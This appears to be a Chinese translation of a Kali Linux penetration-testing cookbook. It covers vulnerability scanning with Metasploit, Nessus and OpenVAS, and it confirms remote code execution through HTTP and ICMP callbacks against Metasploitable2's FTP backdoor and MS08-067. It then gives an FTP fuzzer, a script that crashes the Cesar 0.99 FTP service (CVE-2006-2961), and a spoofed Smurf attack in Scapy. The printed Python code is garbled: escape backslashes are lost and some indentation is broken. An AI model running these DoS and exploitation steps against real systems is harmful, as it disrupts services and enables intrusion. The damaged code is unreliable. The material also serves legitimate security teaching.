1. 这些脚本的布局相当标准化，任何给定脚本的描述可以通过使用cat命令从上到下阅读脚本，然后将输出通过 more 工具查看来识别。在提供的示例中，我们可以看到脚本测试了 MySQL 数据库服务中存在的身份验证绕过漏洞。或者，可以在 MSF 控制台界面中搜索漏洞识别模块。要打开此界面，应该使用msfconsole命令。

2. 然后可以结合特定与服务相关的关键词使用search命令，或者使用scanner关键词查询auxiliary/scanner目录下的所有脚本，如下所示：

1. 一旦识别出一个看起来有前景的脚本，可以使用 use 命令结合相对路径来激活该脚本。激活后，可以使用以下 info 命令来读取有关该脚本的更多详细信息，包括详情、描述、选项和参考文献：

1. 选择模块后，可以使用 show options 命令来识别和/或修改扫描配置。此命令将显示四个列标题：Name、Current Setting、Required 和 Description。Name 列标识每个可配置变量的名称。Current Setting 列列出任何给定变量的现有配置。Required 列标识是否需要为任何给定变量提供值。Description 列描述每个变量的功能。可以使用 set 命令并提供新值作为参数来更改任何给定变量的值，如下所示：

1. 在这种特定情况下，系统被发现存在漏洞。既然已识别出存在漏洞的系统，就有相应的利用模块可以实际对该漏洞系统造成拒绝服务攻击。在提供的示例中可以看到这一点：

它是如何工作的……

大多数漏洞扫描器通过评估多种不同的响应来判断系统是否容易受到特定攻击。在某些情况下，漏洞扫描可能仅仅是通过建立与远程服务的 TCP 连接并通过自我披露的横幅识别出一个已知的易受攻击的版本。其他情况下，可能会向远程服务发送一系列复杂的探测和特殊设计的请求，试图引发仅对易受特定攻击的服务产生的独特响应。在前面的示例中，很可能脚本的作者找到了通过请求生成仅由已修补或未修补的系统生成的独特响应的方法，然后将此作为判断任何给定远程系统是否可被利用的依据。

使用 Nessus 创建扫描策略

Nessus 是最强大且全面的漏洞扫描器之一。通过针对一个系统或一组系统，它将自动扫描所有可识别服务上的大量漏洞。可以在 Nessus 中创建扫描策略，以更细致地定义它所测试的漏洞类型和执行的扫描类型。本教程将解释如何在 Nessus 中配置独特的扫描策略。

准备工作

要在 Nessus 中配置扫描策略，首先需要在 Kali Linux 渗透测试平台上安装一个有效的 Nessus 副本。由于 Nessus 是一款授权产品，它并不会默认安装在 Kali 中。有关如何在 Kali 上安装 Nessus 的详细信息，请参考第一章中的安装 Nessus 到 Kali Linux一节，入门。

如何操作……

以下步骤将指导您使用 Nessus 创建扫描策略：

1. 要在 Nessus 中配置新的扫描策略，您首先需要访问 Nessus 的网页界面，网址为 https://localhost:8834 或 https://127.0.0.1:8834。如果您不是从运行 Nessus 的同一系统访问网页界面，则应指定适当的 IP 地址或主机名。

2. 一旦网页界面加载完成，您需要使用安装过程中配置的账户或安装后创建的其他账户登录。登录后，页面顶部的“Policies”选项卡应该被选中。如果没有配置其他策略，您将看到一个空列表，并有一个标有“New Policy”的按钮。点击该按钮开始构建您的第一个扫描策略。

3. 点击“New Policy”后，策略向导界面将弹出，显示多个预配置的扫描模板，这些模板可用于加速扫描策略的创建过程。正如您在下方截图中看到的，每个模板都包括名称，并附有简要的功能描述：

1. 在大多数情况下，至少有一个预配置的扫描配置会与您的目标相似。所有模板中最常用的可能是“Basic Network Scan”。请记住，选择任何一个选项后，您仍然可以修改现有配置的每个细节。它们只是为了帮助您更快地入门。或者，如果您不想使用现有模板，您可以向下滚动并选择“Advanced Scan”选项，这将允许您从头开始。

2. 如果选择任何一个预配置的模板，您将经过一个简单的三步过程来完成您的扫描配置。该过程总结如下：

   1. 第 1 步允许您配置基本信息，包括配置文件的名称、描述和可见性（公共或私人）。公共配置文件将对所有 Nessus 用户可见，而私有配置文件仅对创建它们的用户可见。

   2. 第 2 步将简单地询问扫描是内部扫描还是外部扫描。外部扫描是针对公开可访问主机进行的扫描，通常位于企业网络的 DMZ 区域。外部扫描不要求您在同一网络上，可以跨互联网执行。相反，内部扫描是在网络内部执行的，需要直接访问扫描目标的局域网（LAN）。

   3. 第三步，即最后一步，要求为扫描设备提供认证凭证，可以使用 SSH 或 Windows 认证。完成后，新配置的个人资料将出现在“配置文件”标签访问时显示的先前为空的列表中。如下图所示：

1. 这种方法使得创建新扫描配置文件快速而简便，但无法提供太多对测试漏洞和执行扫描类型的控制。要修改更详细的配置，点击新创建的策略名称，然后点击高级模式链接。在此配置模式下，选项非常全面和具体。屏幕左侧可以访问四个不同的菜单，其中包括：

• 一般设置：该菜单提供基本配置，详细的端口扫描选项，定义了如何进行发现和服务枚举的操作，并包含定义关于速度、限制、并行度等方面的性能选项。

• 凭证：该菜单允许配置 Windows 凭证、SSH、Kerberos，甚至多个明文协议选项（不推荐）。

• 插件：该菜单提供对 Nessus 插件的极为细致的控制。插件是 Nessus 中用于特定审计或漏洞检查的术语。你可以根据功能类型启用或禁用一组审计，甚至可以逐个调整特定插件。

• 偏好设置：该菜单涵盖了 Nessus 的所有较为晦涩的操作功能配置，如 HTTP 认证、暴力破解设置和数据库交互。

工作原理…

扫描策略定义了 Nessus 用来决定扫描如何进行的配置值。这些扫描策略可以简单到完成简单扫描向导设置所需的三步，也可以复杂到每个独特插件的定义，以及自定义认证和操作配置的应用。

使用 Nessus 执行漏洞扫描

Nessus 是目前最强大且最全面的漏洞扫描器之一。通过定位单个系统或一组系统，它将自动扫描所有可识别服务中的大量漏洞。一旦配置好扫描策略来定义 Nessus 扫描器的配置，该扫描策略可以用于对远程目标进行扫描评估。本教程将解释如何使用 Nessus 执行漏洞扫描。

准备工作

要在 Nessus 中配置扫描策略，首先必须在 Kali Linux 渗透测试平台上安装并运行功能正常的 Nessus 版本。因为 Nessus 是一款付费产品，所以 Kali 默认并不预装它。有关如何在 Kali 上安装 Nessus 的详细信息，请参考 第一章《入门》中的在 Kali Linux 上安装 Nessus一节。此外，在使用 Nessus 执行扫描之前，至少需要创建一个扫描策略。有关如何在 Nessus 中创建扫描策略的详细信息，请参考前面的章节。

如何操作...

让我们借助 Nessus 执行一个漏洞扫描：

1. 要在 Nessus 中开始一个新的扫描，首先需要确保屏幕顶部选择了“Scans”标签。如果之前没有运行过任何扫描，屏幕中间将显示一个空白列表。要执行初始扫描，你需要点击屏幕左侧的蓝色“New Scan”按钮，如下图所示：

1. 这将需要一些基本的配置信息。你将看到一系列字段，包括“Name”、“Policy”、“Folder”和“Targets”：

   • “Name”字段仅作为唯一标识符，用于将扫描结果与其他扫描结果区分开来。如果你进行大量扫描，建议在扫描名称中尽量具体。

   • 第二个字段是“Policy”字段，它定义了扫描的所有详细信息。这个字段允许你选择要使用的扫描策略。如果你不熟悉扫描策略的工作原理，请参考前面的章节。任何已登录用户创建的公共或私有扫描策略都应显示在“Policy”下拉菜单中。

   • “Folder”字段定义了扫描结果将被存放的文件夹。将扫描结果按文件夹进行组织，在你需要整理大量扫描结果时会非常有帮助。可以通过在主扫描菜单中点击“New Folder”来创建新的扫描文件夹。

   • 最后一个字段是“Targets”。这个字段定义了要扫描的系统。在这里，你可以输入单个主机的 IP 地址、一组 IP 地址、一个连续的 IP 地址范围、一个 CIDR 范围，或者一组 IP 范围。你也可以使用主机名，前提是扫描器能够通过 DNS 正确解析主机名为 IP 地址。

   • 最后，还有一个选项可以上传包含目标列表的文本文件，文件格式可以是上述任何一种，下面是相关截图：

1. 配置完扫描后，可以通过屏幕底部的“Launch”按钮执行扫描。扫描将立即添加到扫描列表中，并且结果可以实时查看，如下图所示：

1. 即使扫描正在运行，您也可以点击扫描名称并开始查看识别出的漏洞。颜色编码用于快速简便地识别漏洞数量及其严重程度，如下图所示：

1. 点击示例扫描后，我们可以看到正在扫描的两个主机。第一个指示扫描已完成，而第二个主机完成了 2%。漏洞列中显示的条形图显示了每个给定主机关联的漏洞数量。或者，您可以点击屏幕顶部的漏洞链接，以按发现的漏洞组织查找，并且可以看到每个漏洞被识别出的主机数量。

2. 在屏幕右侧，我们可以看到一个类似的饼图，但这个饼图对应于所有扫描的主机，如下图所示：

1. 此饼图还清晰定义了每种颜色的含义，从关键漏洞到信息详细信息。通过选择任何特定主机 IP 地址的链接，您可以查看为该主机识别出的具体漏洞信息。

1. 此漏洞列表标识了插件名称，通常提供对发现内容的简要描述和严重级别。作为渗透测试者，关键和高危漏洞通常是最具有前景的，尤其是如果您正在寻求在目标系统上实现远程代码执行。通过单击任何一个明显的漏洞，您可以获取有关该漏洞的大量信息，如下图所示：

1. 除了描述和修补信息之外，本页面还将提供进一步研究的替代来源，特别是（对于渗透测试者而言）显示是否存在漏洞利用的信息。本页面还经常指示可用漏洞是否为公开漏洞，或者是否存在于 Metasploit、CANVAS 或 Core Impact 等利用框架中。

工作原理...

大多数漏洞扫描器将通过评估多种不同的响应来操作，以尝试确定系统是否容易受到特定攻击的影响。在某些情况下，漏洞扫描可能仅是简单地与远程服务建立 TCP 连接，并通过自我披露的横幅标识已知的易受攻击版本。在其他情况下，可能会向远程服务发送复杂的一系列探针和特别制作的请求，以试图获得对特定攻击易受影响的服务唯一响应。Nessus 将大量测试序列化在一起，以尝试生成给定目标的完整攻击面的图像。

使用 OpenVAS 进行漏洞扫描

开放漏洞评估系统（OpenVAS）是一款免费的漏洞扫描和管理套件。OpenVAS 和 Nessus 相似；实际上，OpenVAS 是从 Nessus 的最后一个免费版本分支出来的。在本教程中，我们将介绍如何安装并使用 OpenVAS 执行扫描。

准备工作

要使用 OpenVAS 执行漏洞扫描，你需要有一个可供扫描的远程系统。在提供的示例中，我们使用了 Metasploitable2 的实例来执行此任务。有关如何设置 Metasploitable2 的更多信息，请参考第一章，入门指南。

如何操作...

以下步骤将引导你使用 OpenVAS 执行漏洞扫描：

1. OpenVAS 并没有预装在 Kali Linux 上，但安装和运行它是一个简单的过程。首先，我们将使用 apt-get 命令安装该软件；当提示继续时，输入 Y：

1. 安装成功后，运行 openvas-setup 命令：

1. 设置过程中需要一些时间来配置并安装漏洞测试脚本。配置完成后，记下所创建的密码。在登录 OpenVAS Web 界面时需要使用此密码：

1. 一旦 OpenVAS 安装并配置完成，我们可以使用 openvas-start 命令启动它：

1. 现在，我们可以通过本地浏览器访问 OpenVAS Web 界面，地址是 https://127.0.0.1:9392/。我们可以使用 admin 作为用户名，以及在 openvas-setup 过程结束时收到的密码进行身份验证：

1. 成功认证后，你将看到 OpenVAS 仪表盘。在这里（如果有的话），你可以查看扫描和漏洞的统计信息。由于我们刚刚安装了 OpenVAS，目前没有数据可以显示。我们可以通过运行扫描来更改这一点。为此，进入顶部菜单中的 Scans（扫描）并选择 Tasks（任务）：

1. 在任务页面上，前往页面左上角的魔杖图标并选择任务向导：

1. 在任务向导界面，我们会被要求输入一个 IP 地址或主机名。对于我们的示例，我们将使用 Metasploitable2 机器的 IP 地址 172.16.69.128，然后点击开始扫描按钮：

1. 向导完成后，OpenVAS 将开始扫描分配的目标。执行各种扫描和测试时，可能需要一些时间。完成后，你应该能看到一个总结：

1. 要查看 OpenVAS 扫描结果，进入菜单中的 Scans（扫描）部分并选择 Results（结果）：

1. 在这里，您可以看到扫描结果。图表展示了按类别（高、媒介、低、日志）和 常见漏洞评分系统 (CVSS) 显示的漏洞数量。根据图表，我们可以看到每个漏洞的列表、严重性以及其位置：

工作原理…

大多数漏洞扫描器通过评估不同响应的多种方式来判断系统是否容易受到特定攻击的影响。在某些情况下，漏洞扫描可能只是通过建立与远程服务的 TCP 连接，并通过自我披露的横幅来识别已知的漏洞版本。在其他情况下，可能会向远程服务发送一系列复杂的探测和特别设计的请求，尝试获取仅在特定攻击易受影响的服务上才会出现的响应。OpenVAS 将大量的测试序列结合在一起，尝试生成目标攻击面完整的图像。

使用 HTTP 交互验证漏洞

作为渗透测试员，任何漏洞利用的最佳结果是实现远程代码执行。然而，也有一些情况，我们可能只想确定远程代码执行漏洞是否可被利用，而不希望实际完成整个利用和后期利用过程。一种方法是创建一个 Web 服务器，记录交互并使用给定的漏洞利用代码执行，导致远程主机与 Web 服务器进行交互。这个示例将演示如何编写一个自定义脚本，通过 HTTP 流量验证远程代码执行漏洞。

准备工作

要通过 HTTP 交互验证漏洞，您需要有一个运行存在远程代码执行漏洞的软件的系统。此外，本部分还需要编写一个脚本，并将其保存到文件系统中，您可以使用如 Vim 或 GNU nano 这样的文本编辑器来完成。有关编写脚本的更多信息，请参阅 第一章 中的 使用文本编辑器（Vim 和 GNU nano） 章节，入门。

如何操作…

让我们通过 HTTP 交互来验证漏洞：

1. 在实际利用给定漏洞之前，我们必须部署一个 Web 服务器来记录与之的交互。可以通过以下简单的 Python 脚本来完成：

        #!/usr/bin/python

        import socket

        print "Awaiting connection...n"

        httprecv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        httprecv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        httprecv.bind(("0.0.0.0",8000))
        httprecv.listen(2)

        (client, ( ip,sock)) = httprecv.accept()
        print "Received connection from : ", ip
        data = client.recv(4096)
        print str(data)

        client.close()
        httprecv.close()

1. 提供的 Python 脚本使用 socket 库生成一个 Web 服务器，该服务器监听所有本地接口的 TCP 端口 8000。当收到来自客户端的连接时，脚本将返回客户端的 IP 地址和发送的请求。

2. 要使用此脚本验证漏洞，我们需要执行代码，使远程系统与托管的 Web 服务进行交互。但在执行此操作之前，我们需要使用以下命令启动我们的脚本：

1. 接下来，我们需要利用一个漏洞来实现远程代码执行。通过查看 Metasploitable2 盒子的 Nessus 扫描结果，我们可以看到运行中的 FTP 服务存在一个后门，通过提供包含笑脸符号的用户名即可触发——这可不是开玩笑！它实际上被包含在一个生产环境中的 FTP 服务里。为了尝试利用此漏洞，我们将首先使用适当的用户名连接到服务，如下所示：

1. 在尝试使用包含笑脸符号的用户名进行连接后，远程主机的 TCP 端口6200应该会打开一个后门。我们甚至不需要输入密码。相反，可以使用Ctrl + C退出 FTP 客户端，然后使用 Netcat 连接到已打开的后门，如下所示：

1. 在与开放端口建立 TCP 连接后，我们可以使用我们的脚本来验证是否能够执行远程代码。为此，我们尝试使用wget命令与 HTTP 检测服务器的 URL 进行连接。尝试执行此代码后，我们可以通过查看脚本输出，验证 HTTP 请求是否已被接收：

它是如何工作的…

该脚本通过识别来自远程主机的连接尝试来工作。通过执行使远程系统连接回我们监听服务器的代码，就可以验证通过利用特定漏洞是否可能进行远程代码执行。如果远程服务器上未安装wget或curl，可能需要采用其他方式来识别远程代码执行。

使用 ICMP 交互验证漏洞

作为渗透测试员，任何给定漏洞的最佳结果是实现远程代码执行。然而，也有一些情况，我们可能只是想确定远程代码执行漏洞是否可被利用，但并不想实际执行整个漏洞利用和后期利用过程。一种方法是运行一个记录 ICMP 流量的脚本，然后在远程系统上执行ping命令。本食谱将展示如何编写自定义脚本，以通过 ICMP 流量验证远程代码执行漏洞。

准备工作

要通过 ICMP 流量日志验证漏洞，您需要一个运行有可利用代码执行漏洞的远程系统。此外，本部分还需要编写脚本并使用文本编辑器（如 Vim 或 GNU nano）将其写入文件系统。如需了解如何编写脚本，请参阅第一章《入门》中的使用文本编辑器（Vim 和 GNU nano）部分。

如何操作…

使用 ICMP 交互执行漏洞验证操作：

1. 在实际利用某个漏洞之前，我们必须部署一个脚本来记录传入的 ICMP 流量。这可以通过使用 Scapy 的简单 Python 脚本完成，如下所示：

        #!/usr/bin/python

        import logging
        logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
        from scapy.all import *

        def rules(pkt):
        try:
        if (pkt[IP].dst=="172.16.69.133") and (pkt[ICMP]):
          print str(pkt[IP].src) + " is exploitable"
        except:
          pass

        print "Listening for Incoming ICMP Traffic.
         Use Ctrl+C to stop listening"

        sniff(lfilter=rules,store=0)

1. 提供的 Python 脚本嗅探所有传入的流量，并标记任何针对扫描系统的 ICMP 流量源为漏洞。为了使用此脚本验证漏洞是否可以被利用，我们需要执行一些代码，迫使远程系统向我们的扫描系统发送 ping 请求。为了演示这一点，我们可以使用 Metasploit 启动一个远程代码执行漏洞。但在此之前，我们需要先启动我们的脚本，步骤如下：

1. 接下来，我们需要利用一个可以实现远程代码执行的漏洞。通过查看 Windows XP 机器的 Nessus 扫描结果，我们可以看到该系统易受MS08-067漏洞的攻击。为了验证这一点，我们将利用该漏洞，使用一个有效载荷来执行ping命令回传至扫描系统，步骤如下：

1. 在 Metasploit 中的漏洞利用配置为使用windows/exec有效载荷，该有效载荷在被利用的系统中执行代码。这个有效载荷被配置为向我们的扫描系统发送一个 ICMP 回显请求。执行后，我们可以通过查看仍在监听的原始脚本来确认漏洞利用是否成功，步骤如下：

工作原理…

该脚本通过监听来自远程主机的 ICMP 流量来工作。通过执行使远程系统向我们的监听服务器发送echo请求的代码，我们可以验证通过利用特定漏洞实现远程代码执行的可能性。

第七章：拒绝服务

任何时候，只要你让资源在互联网上公开访问，或者通过内部网络向一个小社区开放，都需要考虑 拒绝服务（DoS）攻击的风险。DoS 攻击可能令人沮丧，且有时非常昂贵。最糟糕的是，这些威胁通常是最难以缓解的之一。为了能够正确评估网络和信息资源面临的威胁，你必须理解存在的 DoS 威胁类型以及与之相关的趋势。本章将包括以下评估 DoS 威胁的解决方案：

• 使用模糊测试识别缓冲区溢出

• 远程 FTP 服务缓冲区溢出 DoS

• Smurf DoS 攻击

• DNS 放大 DoS 攻击

• SNMP 放大 DoS 攻击

• SYN 洪水 DoS 攻击

• Sock stress DoS 攻击

• 使用 Nmap NSE 进行的 DoS 攻击

• 使用 Metasploit 进行 DoS 攻击

• 利用数据库进行的 DoS 攻击

介绍

在逐一解决以下列出的解决方案之前，我们应该讨论一些基本原理，并了解它们如何与本章中讨论的 DoS 攻击相关。我们将在接下来的解决方案中讨论的 DoS 攻击都可以归类为缓冲区溢出、流量放大攻击或资源消耗攻击。我们将按顺序讨论与每种攻击类型相关的一般原理。

缓冲区溢出是一种编码漏洞，可能导致应用程序、服务或整个操作系统的拒绝服务。一般来说，缓冲区溢出能够导致拒绝服务，因为它们会将任意数据加载到不应访问的内存区域。这会中断执行流程，导致服务或操作系统崩溃。

流量放大 DoS 攻击通过消耗特定服务器、设备或网络可用的网络带宽来生成 DoS 状况。为了让流量放大攻击成功，需要满足两个条件。这些条件如下：

• 重定向：攻击者必须能够请求一个可以被重定向到受害者的响应。这通常通过 IP 欺骗来实现。由于 UDP 是无连接协议，大多数使用 UDP 作为传输层协议的应用层协议都可以通过伪造请求将服务响应重定向到其他主机。

• 放大：重定向的响应必须大于发起该请求的请求本身。响应的字节大小与请求字节大小的比率越大，攻击成功的概率就越高。

例如，如果发现一个 UDP 服务生成的响应比相关请求大 10 倍，攻击者可能会利用此服务，通过向易受攻击的服务发送伪造请求，并以尽可能高的传输速率发送，来生成比原本能产生的流量多 10 倍的攻击流量。

资源消耗攻击是通过生成一种条件，使得承载服务器或设备的本地资源消耗到无法再执行其预定功能的程度的攻击。这种类型的攻击可以针对各种本地资源，包括内存、处理器能力、磁盘空间或并发网络连接的可持续性。

通过模糊测试识别缓冲区溢出

识别缓冲区溢出漏洞最有效的技术之一是模糊测试。模糊测试是通过将精心制作或随机的数据传递给函数来测试与各种输入相关的结果的做法。在合适的情况下，输入数据有可能逃离其指定的缓冲区，流入相邻的寄存器或内存段。这一过程将扰乱执行流程，导致应用程序或系统崩溃。在某些情况下，缓冲区溢出漏洞还可以被利用来执行未经授权的代码。在这个具体的示例中，我们将讨论如何通过开发自定义模糊测试工具来测试缓冲区溢出漏洞。

准备工作

要执行远程模糊测试，你需要有一个运行 TCP 或 UDP 网络服务的系统。在提供的示例中，使用的是一台 Windows XP 系统，配备了 FTP 服务。有关设置 Windows 系统的更多信息，请参阅 第一章 中的 安装 Windows Server 示例，入门。此外，本节还需要写一个脚本到文件系统中，使用文本编辑器如 Vim 或 GNU nano 编辑。有关编写脚本的更多信息，请参阅 第一章 中的 使用文本编辑器（Vim 和 GNU nano） 示例，入门。

如何做...

Python 是一种优秀的脚本语言，可以有效地用于开发自定义模糊测试工具。在评估 TCP 服务时，socket 函数可以简化执行完整三次握手过程并连接到监听服务端口的过程。任何模糊测试脚本的主要目标是将数据作为输入发送到任何给定的函数，并评估结果：

1. 我开发了一个可以用于模糊测试 FTP 服务认证后功能的脚本：

        #!/usr/bin/python

        import socket
        import sys

        if len(sys.argv) != 6:
            print "Usage - ./ftp_fuzz.py [Target-IP] [Port Number]
             [Payload] [Interval] [Maximum]"
            print "Example - ./ftp_fuzz.py 10.0.0.5 21 A 100 1000"
            print "Example will fuzz the defined FTP service
             with a series of payloads"
            print "to include 100 'A's, 200 'A's, etc...
             up to the maximum of 1000"
            sys.exit()

        target = str(sys.argv[1])
        port = int(sys.argv[2])
        char = str(sys.argv[3])
        i = int(sys.argv[4])
        interval = int(sys.argv[4])
        max = int(sys.argv[5])
        user = raw_input(str("Enter ftp username: "))
        passwd = raw_input(str("Enter ftp password: "))
        command = raw_input(str("Enter FTP command to fuzz: "))

        while i <= max:
            try:
                payload = command + " " + (char * i)
                print "Sending " + str(i) + " instances of payload
                 (" + char + ") to target"
                s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                connect=s.connect((target,port))
                s.recv(1024)
                s.send('USER ' + user + 'rn')
                s.recv(1024)
                s.send('PASS ' + passwd + 'rn')
                s.recv(1024)
                s.send(payload + 'rn')
                s.send('QUITrn')
                s.recv(1024)
                s.close()
                i = i + interval
            except:
                print "nUnable to send...Server may have crashed"
                sys.exit()

        print "nThere is no indication that the server has crashed"

1. 脚本的第一部分定义了 Python 解释器的位置并导入所需的库。

2. 第二部分评估传递的参数数量，以确保其与脚本的正确用法一致。

3. 脚本的第三部分定义了将在整个脚本执行过程中使用的变量。其中一些变量从执行时传递给脚本的系统参数中获取其值。

4. 剩余的变量通过接受脚本用户的输入来定义。

5. 最后，脚本的其余部分定义了模糊测试过程。我们执行ftp_fuzz.py文件，方法如下：

1. 如果脚本在没有适当数量的系统参数下执行，脚本将返回预期的用法。必须作为系统参数包含几个值：

   • 第一个传递给脚本的参数是目标 IP地址。此 IP 地址与运行你希望模糊测试的 FTP 服务的系统相关联。

   • 下一个参数是端口号，即 FTP 服务运行的端口。通常情况下，FTP 服务会运行在 TCP 端口21。有效负载参数将定义要批量传递给服务的字符或字符序列。

   • 间隔参数定义了在第一次迭代中将传递给 FTP 服务的有效负载实例的数量。该参数还将作为每次迭代时有效负载实例数量递增的步长，直到达到最大值。该最大值由最后一个参数的值定义。

2. 脚本执行这些系统参数后，会请求 FTP 服务的认证凭证，并询问应该模糊测试哪个身份验证后的功能。

3. 在提供的示例中，模糊测试针对运行在 TCP 端口21的 Windows XP 主机的 FTP 服务进行，主机的 IP 地址是172.16.69.129。通过任意电子邮件地址将匿名登录凭证传递给 FTP 服务。此外，一系列A字符被传递给MKD身份验证后的功能，起始实例为100，每次递增100，直到达到最大值1000。

4. 同样的脚本也可以用来将一系列字符传递到有效负载中：

1. 在提供的示例中，有效负载被定义为ABCD，并且该有效负载的实例被定义为 100 的倍数，直到值为500。

它是如何工作的……

一般来说，缓冲区溢出可能会导致服务拒绝（DoS），因为它们可能会导致任意数据被加载到不应放置的内存区域。这会中断执行流程，导致服务或操作系统崩溃。本食谱中讨论的特定脚本之所以有效，是因为如果服务或操作系统崩溃，套接字将不再接受输入，脚本也无法完成整个有效载荷系列注入。如果发生这种情况，脚本需要通过Ctrl + C强制关闭。在这种情况下，脚本会返回指示，表明后续的有效载荷无法发送，且服务器可能已经崩溃。

远程 FTP 服务缓冲区溢出 DoS

在适当的情况下，输入数据有可能逃逸出其指定的缓冲区，流入相邻的寄存器或内存段。这个过程会破坏执行流，并导致应用程序或系统崩溃。在某些情况下，缓冲区溢出漏洞还可以被利用来执行未经授权的代码。在本食谱中，我们将演示如何针对 Cesar 0.99 FTP 服务执行基于缓冲区溢出的拒绝服务攻击（DoS）。

准备工作

要执行远程模糊测试，您需要一台运行网络服务（通过 TCP 或 UDP）的系统。在提供的示例中，使用的是带有 FTP 服务的 Windows XP 系统来完成此任务。有关如何设置 Windows 系统的更多信息，请参考第一章中的 安装 Windows 服务器 食谱，入门指南。此外，本节还需要编写脚本并将其保存到文件系统中，您可以使用 Vim 或 GNU nano 等文本编辑器来完成此操作。有关编写脚本的更多信息，请参考第一章中的 使用文本编辑器（Vim 和 GNU nano） 食谱，入门指南。

操作步骤…

Cesar 0.99 FTP 服务存在一个公开披露的漏洞。该漏洞通过 常见漏洞和暴露（CVE）编号系统定义为 CVE-2006-2961。通过对该漏洞进行研究，明显可以发现通过向 MKD 函数发送经过身份验证后的换行符序列，可以触发基于堆栈的缓冲区溢出：

1. 为了避免在将n转义序列传递给 Python 脚本时遇到的困难，并确保它在提供的输入中被正确解析，我们应该修改在前面食谱中讨论过的脚本。然后，我们可以使用修改后的脚本利用现有的漏洞，具体操作如下：

        #!/usr/bin/python

        import socket
        import sys

        if len(sys.argv) != 5:
            print "Usage - ./ftp_fuzz.py [Target-IP]
             [Port Number] [Interval] [Maximum]"
            print "Example - ./ftp_fuzz.py 10.0.0.5 21 100 1000"
            print "Example will fuzz the defined FTP service
             with a series of line break "
            print "characters to include 100 'n's, 200 'n's,
             etc... up to the maximum of 1000"
            sys.exit()

        target = str(sys.argv[1])
        port = int(sys.argv[2])
        i = int(sys.argv[3])
        interval = int(sys.argv[3])
        max = int(sys.argv[4])
        user = raw_input(str("Enter ftp username: "))
        passwd = raw_input(str("Enter ftp password: "))
        command = raw_input(str("Enter FTP command to fuzz: "))

        while i <= max:
            try:
                payload = command + " " + ('n' * i)
                print "Sending " + str(i) + " line break
                 characters to target"
                s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                connect=s.connect((target,port))
                s.recv(1024)
                s.send('USER ' + user + 'rn')
                s.recv(1024)
                s.send('PASS ' + passwd + 'rn')
                s.recv(1024)
                s.send(payload + 'rn')
                s.send('QUITrn')
                s.recv(1024)
                s.close()
                i = i + interval
        except:
            print "nUnable to send...Server may have crashed"
            sys.exit()

        print "nThere is no indication that the server has crashed"

1. 对脚本所做的修改包括修改使用说明，移除作为参数提供的有效载荷，然后将一个换行符有效载荷硬编码到脚本中，按顺序发送：

1. 如果脚本在没有适当数量的系统参数的情况下执行，脚本将返回预期的使用方式。然后，我们可以执行脚本并发送多个100的有效载荷，直到最大1000。

2. 在发送了700个换行符的有效载荷后，脚本停止发送有效载荷并处于空闲状态。经过一段时间的不活动后，脚本会被强制关闭，使用Ctrl + C。脚本指示它无法发送字符，远程服务器可能已经崩溃。请看以下截图：

1. 通过返回运行 Cesar 0.99 FTP 服务的 Windows XP 机器，我们可以看到server.exe应用程序已经崩溃。为了恢复拒绝服务后的操作，必须手动重新启动 Cesar FTP 服务。

它是如何工作的…

一般来说，缓冲区溢出能够导致服务拒绝，因为它们可以导致任意数据被加载到不想要的内存段。这会中断执行流并导致服务或操作系统崩溃。本食谱中讨论的特定脚本之所以有效，是因为如果服务或操作系统崩溃，套接字将不再接受输入，脚本无法完成整个有效载荷注入序列。如果发生这种情况，脚本需要通过Ctrl + C强制关闭。在这种情况下，脚本将返回一个指示，表明后续有效载荷无法发送，并且服务器可能已经崩溃。

Smurf DoS 攻击

Smurf攻击是历史上最古老的分布式拒绝服务（DDoS）放大攻击技术之一。该攻击通过向网络广播地址发送一系列带有伪造源 IP 地址的 ICMP 回显请求来实施。当这个回显请求被广播时，局域网中的所有主机都会对每个收到的伪造请求做出回应，目标主机会受到多次回应。这种技术在现代系统中效果较差，因为大多数系统不会响应定向广播流量。

准备工作

要执行 smurf 攻击，你需要有一个包含多个系统的局域网。在提供的示例中，使用了一个 Ubuntu 的安装作为扫描目标。有关如何设置 Ubuntu 的更多信息，请参考第一章中的安装 Ubuntu 服务器。

如何操作…

为了尝试执行传统的 smurf 攻击，可以使用 Scapy 从头开始构建所需的数据包：

1. 要在 Kali Linux 命令行中使用 Scapy，可以通过终端使用scapy命令，如下截图所示。为了向广播地址发送 ICMP 请求，我们必须首先构建这个请求的各个层。我们需要构建的第一层是 IP 层：

1. 要构建请求的 IP 层，我们应将 IP 对象分配给变量 i。通过调用 display() 函数，我们可以识别对象的属性配置。默认情况下，发送和接收地址均设置为 127.0.0.1 的环回地址。通过将目标地址设置为广播地址的字符串值，可以修改这些值。再次调用 display() 函数后，我们可以看到目标地址不仅已更新，而且 Scapy 还会自动将源 IP 地址更新为与默认接口关联的地址。

2. 现在我们已经构建了请求的 IP 层，我们应继续进行 ICMP 层：

1. 要构建请求的 ICMP 层，我们将使用与 IP 层相同的技术。默认情况下，ICMP 层已配置为执行回显请求。

2. 现在我们已经创建了 IP 和 ICMP 层，我们需要通过堆叠这些层来构建请求：

1. IP 和 ICMP 层可以通过斜杠分隔的变量堆叠。然后，可以将这些层设置为将代表整个请求的新变量。可以调用 display() 函数来查看请求的配置。构建请求后，可以将其传递给函数。可以使用诸如 Wireshark 或 TCPdump 的数据包捕获工具监视结果。在提供的示例中，Wireshark 显示局域网上的两个 IP 地址响应了广播回显请求：

1. 实际上，两个响应地址不足以执行有效的拒绝服务攻击。如果在另一个带有半现代主机的实验室中复制此操作，则结果可能会类似。如果有足够的响应地址触发了拒绝服务，源地址需要替换为攻击目标的 IP 地址：

1. 在提供的示例中，使用 Scapy 中的一行命令执行与我们先前讨论过的相同操作，不同之处在于此时将源 IP 地址欺骗为局域网上另一系统的地址。此外，计数值可以用于连续发送多个请求。

它的工作原理…

放大攻击通过利用一个或多个第三方设备，通过网络流量淹没目标来工作。对于大多数放大攻击，两个条件成立，如下所述：

• 发动攻击所使用的协议并未验证请求源。所用的网络功能响应应比用于请求的内容明显大。

• 传统的 Smurf 攻击的有效性取决于局域网上的主机是否响应指向 IP 的广播流量。这些主机将从目标系统伪造的 IP 地址接收到广播的 ICMP 回显请求，并对每个收到的请求返回同时的 ICMP 回显应答。

DNS 放大拒绝服务攻击

域名系统（DNS）放大攻击通过执行伪造查询来利用开放的 DNS 解析器，查询某一给定域名的所有记录类型。通过结合使用 DDoS 组件并同时向多个开放解析器发送请求，可以增强这种攻击的有效性。

准备工作

